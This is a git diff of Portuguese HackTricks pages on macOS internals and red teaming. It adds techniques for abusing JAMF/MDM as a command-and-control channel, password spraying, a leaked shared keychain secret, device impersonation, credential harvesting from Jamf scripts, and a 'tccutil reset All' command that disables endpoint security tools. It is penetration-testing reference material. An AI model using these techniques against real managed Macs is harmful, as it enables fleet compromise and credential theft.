* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,4 +1,4 @@
# Red Teaming em macOS
# macOS Red Teaming
<details>
@ -12,12 +12,12 @@
</details>
## Métodos comuns de gerenciamento
## Abusando dos MDMs
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
Se você conseguir **comprometer as credenciais de administrador** para acessar a plataforma de gerenciamento, pode **potencialmente comprometer todos os computadores** distribuindo seu malware nas máquinas.
Se você conseguir **comprometer as credenciais de administrador** para acessar a plataforma de gerenciamento, você pode **potencialmente comprometer todos os computadores** distribuindo seu malware nas máquinas.
Para o red teaming em ambientes MacOS, é altamente recomendável ter algum entendimento de como os MDMs funcionam:
@ -25,7 +25,90 @@ Para o red teaming em ambientes MacOS, é altamente recomendável ter algum ente
[macos-mdm](macos-mdm/)
{% endcontent-ref %}
E também sobre os **protocolos de rede** "especiais" do **MacOS**:
### Usando MDM como C2
Um MDM terá permissão para instalar, consultar ou remover perfis, instalar aplicativos, criar contas de administrador locais, definir senha do firmware, alterar a chave do FileVault...
Para executar seu próprio MDM, você precisa **do seu CSR assinado por um fornecedor**, que você pode tentar obter com [**https://mdmcert.download/**](https://mdmcert.download/). E para executar seu próprio MDM para dispositivos Apple, você pode usar [**MicroMDM**](https://github.com/micromdm/micromdm).
No entanto, para instalar um aplicativo em um dispositivo inscrito, você ainda precisa que ele seja assinado por uma conta de desenvolvedor... no entanto, após a inscrição do MDM, o **dispositivo adiciona o certificado SSL do MDM como uma CA confiável**, então agora você pode assinar qualquer coisa.
Para inscrever o dispositivo em um MDM, você precisa instalar um arquivo **`mobileconfig`** como root, que pode ser entregue via um arquivo **pkg** (você pode compactá-lo em zip e quando baixado do safari ele será descompactado).
O agente **Mythic Orthrus** usa essa técnica.
### Abusando do JAMF PRO
O JAMF pode executar **scripts personalizados** (scripts desenvolvidos pelo sysadmin), **cargas úteis nativas** (criação de conta local, definição de senha EFI, monitoramento de arquivo/processo...) e **MDM** (configurações de dispositivo, certificados de dispositivo...).
#### Auto-inscrição do JAMF
Vá para uma página como `https://<company-name>.jamfcloud.com/enroll/` para ver se eles têm a **auto-inscrição habilitada**. Se eles tiverem, pode **pedir credenciais para acessar**.
Você pode usar o script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) para realizar um ataque de pulverização de senha.
Além disso, depois de encontrar as credenciais adequadas, você pode ser capaz de fazer força bruta em outros nomes de usuário com o formulário a seguir:
![](<../../.gitbook/assets/image (19).png>)
#### Autenticação de dispositivo JAMF
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
O binário **`jamf`** continha o segredo para abrir o keychain que, na época da descoberta, era **compartilhado** entre todos e era: **`jk23ucnq91jfu9aj`**.\
Além disso, o jamf **persiste** como um **LaunchDaemon** em **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### Tomada de controle do dispositivo JAMF
A URL do **JSS** (Jamf Software Server) que o **`jamf`** usará está localizada em **`/Library/Preferences/com.jamfsoftware.jamf.plist`**. \
Este arquivo basicamente contém a URL:
{% code overflow="wrap" %}
```bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
[...]
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]
```
{% endcode %}
Assim, um invasor poderia inserir um pacote malicioso (`pkg`) que **substitui esse arquivo** quando instalado, definindo a **URL para um ouvinte Mythic C2 de um agente Typhon** para agora poder abusar do JAMF como C2.
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2
```
{% endcode %}
#### Impersonação JAMF
Para **impersonar a comunicação** entre um dispositivo e JMF você precisa:
* O **UUID** do dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* O **keychain JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain` que contém o certificado do dispositivo
Com essas informações, **crie uma VM** com o **UUID de hardware roubado** e com o **SIP desativado**, solte o **keychain JAMF,** **hook** o agente Jamf e roube suas informações.
#### Roubo de segredos
<figure><img src="../../.gitbook/assets/image (8).png" alt=""><figcaption><p>a</p></figcaption></figure>
Você também pode monitorar a localização `/Library/Application Support/Jamf/tmp/` para os **scripts personalizados** que os administradores podem querer executar via Jamf, pois eles são **colocados aqui, executados e removidos**. Esses scripts **podem conter credenciais**.
No entanto, **credenciais** podem ser passadas para esses scripts como **parâmetros**, então você precisaria monitorar `ps aux | grep -i jamf` (sem nem mesmo ser root).
O script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) pode ouvir novos arquivos sendo adicionados e novos argumentos de processo.
### Acesso Remoto ao macOS
E também sobre **protocolos de rede** **"especiais"** do **MacOS**:
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
@ -56,7 +139,7 @@ Também existem algumas ferramentas preparadas para MacOS para enumerar automati
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound é uma extensão da ferramenta de auditoria Bloodhound que permite coletar e ingerir relacionamentos do Active Directory em hosts MacOS.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost é um projeto Objective-C projetado para interagir com as APIs Heimdal krb5 no macOS. O objetivo do projeto é permitir testes de segurança melhores em torno do Kerberos em dispositivos macOS usando APIs nativas sem exigir nenhum outro framework ou pacote no alvo.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Ferramenta JavaScript para Automação (JXA) para fazer enumeração do Active Directory.
```
```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### Usuários
@ -100,26 +183,34 @@ Mais informações em [https://its-a-feature.github.io/posts/2018/01/Active-Dire
## Serviços Externos
O Red Teaming do MacOS é diferente do Red Teaming regular do Windows, pois geralmente o **MacOS é integrado diretamente com várias plataformas externas**. Uma configuração comum do MacOS é acessar o computador usando **credenciais sincronizadas do OneLogin e acessar vários serviços externos** (como github, aws...) via OneLogin:
O Red Teaming do MacOS é diferente do Red Teaming regular do Windows, pois geralmente o **MacOS é integrado com várias plataformas externas diretamente**. Uma configuração comum do MacOS é acessar o computador usando **credenciais sincronizadas do OneLogin e acessar vários serviços externos** (como github, aws...) via OneLogin:
![](<../../.gitbook/assets/image (563).png>)
###
## Técnicas Misc Red Team
### Safari
Quando um arquivo é baixado no Safari, se for um arquivo "seguro", ele será **aberto automaticamente**. Então, por exemplo, se você **baixar um zip**, ele será descompactado automaticamente:
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
## Referências
* [https://www.youtube.com/watch?v=IiMladUbL6E](https://www.youtube.com/watch?v=IiMladUbL6E)
* [https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
* [https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,17 +4,17 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Kernel XNU
O **núcleo do macOS é o XNU**, que significa "X não é Unix". Este kernel é fundamentalmente composto pelo **microkernel Mach** (a ser discutido posteriormente), **e** elementos do Berkeley Software Distribution (**BSD**). O XNU também fornece uma plataforma para **drivers de kernel por meio de um sistema chamado I/O Kit**. O kernel XNU faz parte do projeto de código aberto Darwin, o que significa que **seu código-fonte é livremente acessível**.
O **núcleo do macOS é o XNU**, que significa "X is Not Unix". Este kernel é fundamentalmente composto pelo **microkernel Mach** (a ser discutido posteriormente), **e** elementos do Berkeley Software Distribution (**BSD**). O XNU também fornece uma plataforma para **drivers de kernel por meio de um sistema chamado I/O Kit**. O kernel XNU faz parte do projeto de código aberto Darwin, o que significa que **seu código-fonte é livremente acessível**.
Do ponto de vista de um pesquisador de segurança ou de um desenvolvedor Unix, **o macOS** pode parecer bastante **semelhante** a um sistema **FreeBSD** com uma GUI elegante e uma série de aplicativos personalizados. A maioria dos aplicativos desenvolvidos para o BSD irá compilar e executar no macOS sem precisar de modificações, já que as ferramentas de linha de comando familiares aos usuários do Unix estão todas presentes no macOS. No entanto, como o kernel XNU incorpora o Mach, existem algumas diferenças significativas entre um sistema semelhante ao Unix tradicional e o macOS, e essas diferenças podem causar problemas potenciais ou fornecer vantagens únicas.
@ -35,9 +35,9 @@ O **kernel XNU** também **incorpora** uma quantidade significativa de código d
* Pilha TCP/IP e soquetes
* Firewall e filtragem de pacotes
Compreender a interação entre BSD e Mach pode ser complexo, devido aos seus diferentes quadros conceituais. Por exemplo, o BSD usa processos como sua unidade fundamental de execução, enquanto o Mach opera com base em threads. Essa discrepância é reconciliada no XNU **associando cada processo BSD a uma tarefa Mach** que contém exatamente uma thread Mach. Quando a chamada do sistema fork() do BSD é usada, o código do BSD dentro do kernel usa funções do Mach para criar uma tarefa e uma estrutura de thread.
Compreender a interação entre BSD e Mach pode ser complexo, devido aos seus diferentes quadros conceituais. Por exemplo, o BSD usa processos como sua unidade fundamental de execução, enquanto o Mach opera com base em threads. Essa discrepância é reconciliada no XNU **associando cada processo BSD a uma tarefa Mach** que contém exatamente uma thread Mach. Quando a chamada do sistema fork() do BSD é usada, o código do BSD dentro do kernel usa funções Mach para criar uma tarefa e uma estrutura de thread.
Além disso, **o Mach e o BSD mantêm modelos de segurança diferentes**: o modelo de segurança do **Mach** é baseado em **direitos de porta**, enquanto o modelo de segurança do BSD opera com base na **propriedade do processo**. Disparidades entre esses dois modelos ocasionalmente resultaram em vulnerabilidades de escalonamento de privilégios locais. Além das chamadas do sistema típicas, também existem **armadilhas do Mach que permitem que programas de espaço do usuário interajam com o kernel**. Esses diferentes elementos juntos formam a arquitetura multifacetada e híbrida do kernel do macOS.
Além disso, **o Mach e o BSD mantêm modelos de segurança diferentes**: o modelo de segurança do **Mach** é baseado em **direitos de porta**, enquanto o modelo de segurança do BSD opera com base na **propriedade do processo**. Disparidades entre esses dois modelos ocasionalmente resultaram em vulnerabilidades de escalonamento de privilégios locais. Além das chamadas do sistema típicas, também existem **armadilhas Mach que permitem que programas de espaço do usuário interajam com o kernel**. Esses diferentes elementos juntos formam a arquitetura híbrida multifacetada do kernel do macOS.
### I/O Kit - Drivers
@ -71,7 +71,7 @@ Para encontrar extensões específicas, você pode usar:
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
```
Para carregar e descarregar extensões de kernel, faça:
Para carregar e descarregar extensões de kernel, faça o seguinte:
```bash
kextload com.apple.iokit.IOReportFamily
kextunload com.apple.iokit.IOReportFamily
@ -84,12 +84,20 @@ kextunload com.apple.iokit.IOReportFamily
## Extensões de Kernel do macOS
O macOS é **super restritivo para carregar Extensões de Kernel** (.kext) devido aos altos privilégios que o código executará. Na verdade, por padrão, é virtualmente impossível (a menos que seja encontrada uma forma de contornar isso).
O macOS é **super restritivo para carregar Extensões de Kernel** (.kext) devido aos altos privilégios que o código executará. Na verdade, por padrão, é virtualmente impossível (a menos que uma bypass seja encontrada).
{% content-ref url="macos-kernel-extensions.md" %}
[macos-kernel-extensions.md](macos-kernel-extensions.md)
{% endcontent-ref %}
### Extensões de Sistema do macOS
Em vez de usar Extensões de Kernel, o macOS criou as Extensões de Sistema, que oferece APIs em nível de usuário para interagir com o kernel. Dessa forma, os desenvolvedores podem evitar o uso de extensões de kernel.
{% content-ref url="macos-system-extensions.md" %}
[macos-system-extensions.md](macos-system-extensions.md)
{% endcontent-ref %}
## Referências
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
@ -100,7 +108,7 @@ O macOS é **super restritivo para carregar Extensões de Kernel** (.kext) devid
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -22,7 +22,7 @@ Obviamente, isso é tão poderoso que é complicado carregar uma extensão de ke
* Ao entrar no **modo de recuperação**, as extensões de kernel precisam ser **autorizadas a serem carregadas**:
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
* A extensão de kernel deve ser **assinada com um certificado de assinatura de código do kernel**, que só pode ser concedido pela **Apple**. Que irá **revisar** detalhadamente a **empresa** e as **razões** pelas quais isso é necessário.
* A extensão de kernel também precisa ser **notarizada**, a Apple poderá verificá-la em busca de malware.
@ -34,9 +34,9 @@ Obviamente, isso é tão poderoso que é complicado carregar uma extensão de ke
De volta ao Catalina, era assim: É interessante notar que o processo de **verificação** ocorre em **userland**. No entanto, apenas aplicativos com a permissão **`com.apple.private.security.kext-management`** podem **solicitar ao kernel** para **carregar uma extensão:** kextcache, kextload, kextutil, kextd, syspolicyd
1. **`kextutil`** cli **inicia** o processo de verificação para carregar uma extensão
* Ele irá se comunicar com **`kextd`** enviando usando um serviço Mach
* Ele falará com **`kextd`** enviando usando um serviço Mach
2. **`kextd`** verificará várias coisas, como a assinatura
* Ele irá se comunicar com **`syspolicyd`** para verificar se a extensão pode ser carregada
* Ele falará com **`syspolicyd`** para verificar se a extensão pode ser carregada
3. **`syspolicyd`** **pergunta** ao **usuário** se a extensão não foi carregada anteriormente
* **`syspolicyd`** indicará o resultado para **`kextd`**
4. **`kextd`** finalmente poderá indicar ao **kernel para carregar a extensão**

View file

@ -0,0 +1,100 @@
# Extensões do Sistema macOS
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Extensões do Sistema / Framework de Segurança de Endpoint
Ao contrário das Extensões do Kernel, as **Extensões do Sistema são executadas no espaço do usuário** em vez do espaço do kernel, reduzindo o risco de falha do sistema devido a mau funcionamento da extensão.
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
Existem três tipos de extensões do sistema: Extensões do DriverKit, Extensões de Rede e Extensões de Segurança de Endpoint.
### **Extensões do DriverKit**
O DriverKit é um substituto para as extensões do kernel que **fornecem suporte de hardware**. Ele permite que os drivers de dispositivos (como drivers USB, Serial, NIC e HID) sejam executados no espaço do usuário em vez do espaço do kernel. O framework DriverKit inclui **versões do espaço do usuário de certas classes do I/O Kit**, e o kernel encaminha eventos normais do I/O Kit para o espaço do usuário, oferecendo um ambiente mais seguro para esses drivers serem executados.
### **Extensões de Rede**
As Extensões de Rede fornecem a capacidade de personalizar os comportamentos de rede. Existem vários tipos de Extensões de Rede:
* **Proxy de Aplicativo**: Isso é usado para criar um cliente VPN que implementa um protocolo VPN personalizado orientado a fluxo. Isso significa que ele lida com o tráfego de rede com base em conexões (ou fluxos) em vez de pacotes individuais.
* **Túnel de Pacote**: Isso é usado para criar um cliente VPN que implementa um protocolo VPN personalizado orientado a pacote. Isso significa que ele lida com o tráfego de rede com base em pacotes individuais.
* **Filtro de Dados**: Isso é usado para filtrar "fluxos" de rede. Ele pode monitorar ou modificar dados de rede no nível do fluxo.
* **Filtro de Pacote**: Isso é usado para filtrar pacotes de rede individuais. Ele pode monitorar ou modificar dados de rede no nível do pacote.
* **Proxy DNS**: Isso é usado para criar um provedor DNS personalizado. Ele pode ser usado para monitorar ou modificar solicitações e respostas DNS.
## Framework de Segurança de Endpoint
O Endpoint Security é um framework fornecido pela Apple no macOS que fornece um conjunto de APIs para segurança do sistema. É destinado ao uso por **fornecedores e desenvolvedores de segurança para construir produtos que possam monitorar e controlar a atividade do sistema** para identificar e proteger contra atividades maliciosas.
Este framework fornece uma **coleção de APIs para monitorar e controlar a atividade do sistema**, como execuções de processos, eventos do sistema de arquivos, eventos de rede e kernel.
O núcleo deste framework é implementado no kernel, como uma Extensão do Kernel (KEXT) localizada em **`/System/Library/Extensions/EndpointSecurity.kext`**. Esta KEXT é composta por vários componentes principais:
* **EndpointSecurityDriver**: Isso atua como o "ponto de entrada" para a extensão do kernel. É o principal ponto de interação entre o sistema operacional e o framework Endpoint Security.
* **EndpointSecurityEventManager**: Este componente é responsável por implementar hooks do kernel. Hooks do kernel permitem que o framework monitore eventos do sistema interceptando chamadas do sistema.
* **EndpointSecurityClientManager**: Isso gerencia a comunicação com clientes do espaço do usuário, mantendo o controle de quais clientes estão conectados e precisam receber notificações de eventos.
* **EndpointSecurityMessageManager**: Isso envia mensagens e notificações de eventos para clientes do espaço do usuário.
Os eventos que o framework Endpoint Security pode monitorar são categorizados em:
* Eventos de arquivo
* Eventos de processo
* Eventos de soquete
* Eventos do kernel (como carregar/descarregar uma extensão do kernel ou abrir um dispositivo I/O Kit)
### Arquitetura do Framework de Segurança de Endpoint
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
A **comunicação do espaço do usuário** com o framework Endpoint Security ocorre por meio da classe IOUserClient. Duas subclasses diferentes são usadas, dependendo do tipo de chamador:
* **EndpointSecurityDriverClient**: Isso requer a permissão `com.apple.private.endpoint-security.manager`, que é mantida apenas pelo processo do sistema `endpointsecurityd`.
* **EndpointSecurityExternalClient**: Isso requer a permissão `com.apple.developer.endpoint-security.client`. Isso seria usado normalmente por software de segurança de terceiros que precisa interagir com o framework Endpoint Security.
As Extensões de Segurança de Endpoint: **`libEndpointSecurity.dylib`** é a biblioteca C que as extensões do sistema usam para se comunicar com o kernel. Esta biblioteca usa o I/O Kit (`IOKit`) para se comunicar com a Extensão do Kernel Endpoint Security.
**`endpointsecurityd`** é um daemon do sistema chave envolvido na gestão e lançamento de extensões do sistema de segurança de endpoint, particularmente durante o processo de inicialização inicial. Somente as extensões do sistema marcadas com **`NSEndpointSecurityEarlyBoot`** em seu arquivo `Info.plist` recebem esse tratamento de inicialização inicial.
Outro daemon do sistema, **`sysextd`**, **valida as extensões do sistema** e as move para as localizações adequadas do sistema. Em seguida, ele pede ao daemon relevante para carregar a extensão. O **`SystemExtensions.framework`** é responsável por ativar e desativar as extensões do sistema.
## Bypassando ESF
O ESF é usado por ferramentas de segurança que tentarão detectar um red teamer, então qualquer informação sobre como isso poderia ser evitado parece interessante.
### CVE-2021-30965
A questão é que o aplicativo de segurança precisa ter **permissões de Acesso Total ao Disco**. Então, se um atacante pudesse remover isso, ele poderia impedir que o software fosse executado:
```bash
tccutil reset All
```
Para **mais informações** sobre essa falha de segurança e outras relacionadas, confira a palestra [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
No final, isso foi corrigido dando a nova permissão **`kTCCServiceEndpointSecurityClient`** ao aplicativo de segurança gerenciado por **`tccd`** para que o `tccutil` não limpe suas permissões, impedindo-o de ser executado.
## Referências
* [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -46,7 +46,7 @@ lsof -i TCP -sTCP:ESTABLISHED
